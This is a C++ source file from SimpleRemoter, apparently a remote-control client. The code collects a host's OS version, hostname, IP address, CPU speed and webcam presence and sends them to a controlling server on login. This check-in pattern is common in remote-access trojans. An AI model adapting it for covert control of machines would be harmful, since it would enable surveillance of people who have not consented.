Files
SimpleRemoter/client/LoginServer.cpp
yuanyuanxiang b573baed0b 发布V1.0.0.2
2019-01-18 17:37:15 +08:00

67 lines
1.6 KiB
C++

#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
{
LOGIN_INFOR LoginInfor = {0};
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
//获得操作系统信息
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // 注意转换类型
//获得PCName
char szPCName[MAX_PATH] = {0};
gethostname(szPCName, MAX_PATH);
//获得ClientIP
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
int iLen = sizeof(sockaddr_in);
getsockname(ClientObject->m_sClientSocket, (SOCKADDR*)&ClientAddr, &iLen);
DWORD dwCPUMHz;
dwCPUMHz = CPUClockMHz();
BOOL bWebCamIsExist = WebCamIsExist();
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.ClientAddr = ClientAddr.sin_addr;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
int iRet = ClientObject->OnServerSending((char*)&LoginInfor, sizeof(LOGIN_INFOR));
return iRet;
}
DWORD CPUClockMHz()
{
HKEY hKey;
DWORD dwCPUMHz;
DWORD dwReturn = sizeof(DWORD);
DWORD dwType = REG_DWORD;
RegOpenKey(HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
RegCloseKey(hKey);
return dwCPUMHz;
}
BOOL WebCamIsExist()
{
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; ++i)
{
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//系统的API函数
szVer, sizeof(szVer));
}
return bOk;
}